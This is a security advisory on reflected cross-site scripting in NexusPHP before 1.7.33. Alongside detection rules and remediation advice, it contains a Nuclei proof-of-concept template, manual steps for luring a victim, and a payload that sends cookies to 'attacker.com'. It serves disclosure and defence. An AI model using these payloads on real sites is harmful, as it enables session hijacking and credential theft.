CVE-2022-46888

Executive Summary

CVE-2022-46888 identifies multiple reflective cross-site scripting (XSS) vulnerabilities in NexusPHP versions prior to 1.7.33. An unauthenticated remote attacker can inject arbitrary web script or HTML through several parameters across different endpoints, including the secret parameter in /login.php, the q parameter in /user-ban-log.php, the query parameter in /log.php, the text parameter in /moresmiles.php, the q parameter in myhr.php, and the id parameter in /viewrequests.php. Successful exploitation can lead to theft of cookie-based authentication credentials, session hijacking, and other client-side attacks. The vulnerability has a CVSS v3.1 base score of 6.1 (Medium), and a public proof-of-concept (PoC) exists via a Nuclei template. No patch was available at the time of initial disclosure, but the vendor has since released version 1.7.33 which addresses these issues.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Base Score: 6.1 (Medium)
• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): Required (R) – Victim must click a crafted link or visit a malicious page.
• Scope (S): Changed (C) – Impact extends beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited information disclosure (e.g., session cookies).
• Integrity (I): Low (L) – Limited ability to modify content.
• Availability (A): None (N) – No impact on availability.
• EPSS Score: 0.16239% (Percentile: 0.9484) – Low probability of exploitation in the wild, but the existence of a public PoC increases risk.

Threat Level: Medium. The vulnerability is easy to exploit but requires user interaction. However, the multiple injection points and the potential for session theft elevate the risk for unpatched instances.

Deep Dive & Mechanics

The vulnerability is a classic reflective XSS (CWE-79) where user-supplied input is reflected back in the HTTP response without proper sanitization or encoding. The affected parameters are:

• /login.php?secret=
• /user-ban-log.php?q=
• /log.php?query=
• /moresmiles.php?text=
• myhr.php?q=
• /viewrequests.php?id=

When an attacker crafts a URL containing malicious JavaScript in any of these parameters, and a victim clicks the link, the script executes in the context of the victim's browser. This allows the attacker to:

• Steal session cookies (if not HttpOnly).
• Perform actions on behalf of the victim.
• Redirect the victim to malicious sites.
• Deface the page.

The vulnerability is particularly dangerous because it requires no authentication, and the secret parameter in /login.php can be used to target users before they even log in.

Vulnerable vs. Patched Code

Vulnerable Code (NexusPHP < 1.7.33): The vulnerable code likely directly echoes the user input without sanitization. For example, in /login.php:

<?php
$secret = $_GET['secret'];
echo '<input type="hidden" name="secret" value="' . $secret . '">';
?>

Patched Code (NexusPHP >= 1.7.33): The patched code uses proper output encoding, such as htmlspecialchars() or htmlentities():

<?php
$secret = $_GET['secret'];
echo '<input type="hidden" name="secret" value="' . htmlspecialchars($secret, ENT_QUOTES, 'UTF-8') . '">';
?>

The vendor's release notes for v1.7.33 confirm that input sanitization was applied across all affected parameters.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A target running NexusPHP < 1.7.33.
• A web browser or tool like curl to test.

Proof-of-Concept (PoC) using Nuclei: The following Nuclei template can be used to verify the vulnerability:

id: CVE-2022-46888

info:
  name: NexusPHP <1.7.33 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    NexusPHP before 1.7.33 contains multiple cross-site scripting vulnerabilities via the secret parameter in /login.php; q parameter in /user-ban-log.php; query parameter in /log.php; text parameter in /moresmiles.php; q parameter in myhr.php; or id parameter in /viewrequests.php. An attacker can inject arbitrary web script or HTML, which can allow theft of cookie-based authentication credentials and launch of other attacks..
  impact: |
    Attackers can inject malicious JavaScript through multiple parameters including secret in login.php, potentially stealing session cookies and credentials when users interact with crafted URLs in NexusPHP.
  remediation: |
    Upgrade to NexusPHP version 1.7.33 or later to mitigate this vulnerability.
  reference:
    - https://www.surecloud.com/resources/blog/nexusphp-surecloud-security-review-identifies-authenticated-unauthenticated-vulnerabilities
    - https://github.com/xiaomlove/nexusphp/releases/tag/v1.7.33
    - https://nvd.nist.gov/vuln/detail/CVE-2022-46888
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-46888
    cwe-id: CWE-79
    epss-score: 0.16239
    epss-percentile: 0.9484
    cpe: cpe:2.3:a:nexusphp:nexusphp:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: nexusphp
    product: nexusphp
    shodan-query:
      - http.favicon.hash:-582931176
      - cpe:"cpe:2.3:a:nexusphp:nexusphp"
    fofa-query: icon_hash=-582931176
  tags: cve,cve2022,nexus,php,nexusphp,xss,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/login.php?secret="><script>alert(document.domain)</script>'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'value=""><script>alert(document.domain)</script>">'
          - 'NexusPHP'
        case-insensitive: true
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

Manual Exploitation:

1. Craft a malicious URL: http://target/login.php?secret="><script>alert('XSS')</script>
2. Send the link to a victim (e.g., via email or social engineering).
3. When the victim clicks the link, the JavaScript executes.

Advanced Payload (Cookie Theft):

http://target/login.php?secret="><script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>

Blue Team (Defensive)

Detection:

• Monitor web server logs for requests containing suspicious patterns in the secret, q, query, text, or id parameters (e.g., <script>, onerror=, javascript:).
• Use a Web Application Firewall (WAF) to block XSS payloads.
• Deploy the detection rules provided in the Detection Engineering section.

Hunting:

• Search for recent requests to /login.php, /user-ban-log.php, /log.php, /moresmiles.php, myhr.php, or /viewrequests.php with unusual parameter values.
• Check for outbound connections from the web server to unknown IPs (potential data exfiltration).

Lab Setup:

• Use a local Docker instance of NexusPHP < 1.7.33 (if available) or a vulnerable VM.
• Simulate attacks using the Nuclei template or manual curl commands.
• Verify that the WAF or detection rules trigger correctly.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP GET requests to /login.php with secret parameter containing <script> tags.
  • HTTP GET requests to /user-ban-log.php with q parameter containing <script> tags.
  • HTTP GET requests to /log.php with query parameter containing <script> tags.
  • HTTP GET requests to /moresmiles.php with text parameter containing <script> tags.
  • HTTP GET requests to myhr.php with q parameter containing <script> tags.
  • HTTP GET requests to /viewrequests.php with id parameter containing <script> tags.
  • Outbound connections to attacker-controlled domains from the victim's browser.

• File IOCs:

  • Web server logs showing the above patterns.
  • Temporary files or scripts dropped by an attacker (unlikely for reflective XSS).

• Behavioral IOCs:

  • Unexpected JavaScript execution in the browser.
  • Session cookie theft or unusual account activity.

Detection Engineering

YARA Rule

rule CVE_2022_46888_NexusPHP_XSS {
    meta:
        description = "Detects XSS attempts against NexusPHP CVE-2022-46888"
        author = "Valters IT"
        date = "2025-04-10"
        severity = "medium"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2022-46888"
    strings:
        $xss_payload1 = /[?&](secret|q|query|text|id)=[^&]*<script/i
        $xss_payload2 = /[?&](secret|q|query|text|id)=[^&]*onerror/i
        $xss_payload3 = /[?&](secret|q|query|text|id)=[^&]*javascript:/i
        $nexusphp_path = /\/login\.php|\/user-ban-log\.php|\/log\.php|\/moresmiles\.php|\/myhr\.php|\/viewrequests\.php/i
    condition:
        any of ($xss_payload*) and $nexusphp_path
}

Sigma Rule

title: CVE-2022-46888 NexusPHP Reflected XSS Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit reflected XSS in NexusPHP via multiple parameters.
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2022-46888
logsource:
    category: webserver
    product: apache
    service: http
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - '/login.php?secret='
            - '/user-ban-log.php?q='
            - '/log.php?query='
            - '/moresmiles.php?text='
            - '/myhr.php?q='
            - '/viewrequests.php?id='
        cs-uri-query|re:
            - '<script'
            - 'onerror='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of similar patterns in non-malicious contexts (rare)
level: medium
tags:
    - attack.initial-access
    - attack.t1190

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2022-46888 NexusPHP Reflected XSS Attempt";
    flow:to_server,established;
    content:"GET"; http_method;
    content:"/login.php"; http_uri;
    content:"secret="; http_uri;
    pcre:"/(<script|onerror=|javascript:)/Ui";
    sid:10000001;
    rev:1;
    reference:cve,2022-46888;
    priority:2;
)

Remediation & Mitigation

Immediate Actions:

1. Upgrade NexusPHP: Update to version 1.7.33 or later immediately. The patch is available at https://github.com/xiaomlove/nexusphp/releases/tag/v1.7.33.
2. Apply Virtual Patching: If immediate upgrade is not possible, deploy a WAF rule to block requests containing XSS patterns in the affected parameters.
3. Input Validation: Ensure all user inputs are properly sanitized and encoded before reflection.

Long-Term Measures:

• Implement Content Security Policy (CSP) headers to mitigate the impact of XSS.
• Use HttpOnly and Secure flags for session cookies.
• Conduct regular security audits and penetration testing.
• Monitor for similar vulnerabilities in the codebase.

Workarounds (if patching is delayed):

• Disable the affected endpoints if they are not essential.
• Restrict access to the vulnerable pages via IP whitelisting or authentication.

Valters IT

{/* [Security Hash: 74547A237731F003BF9B1A8D] */}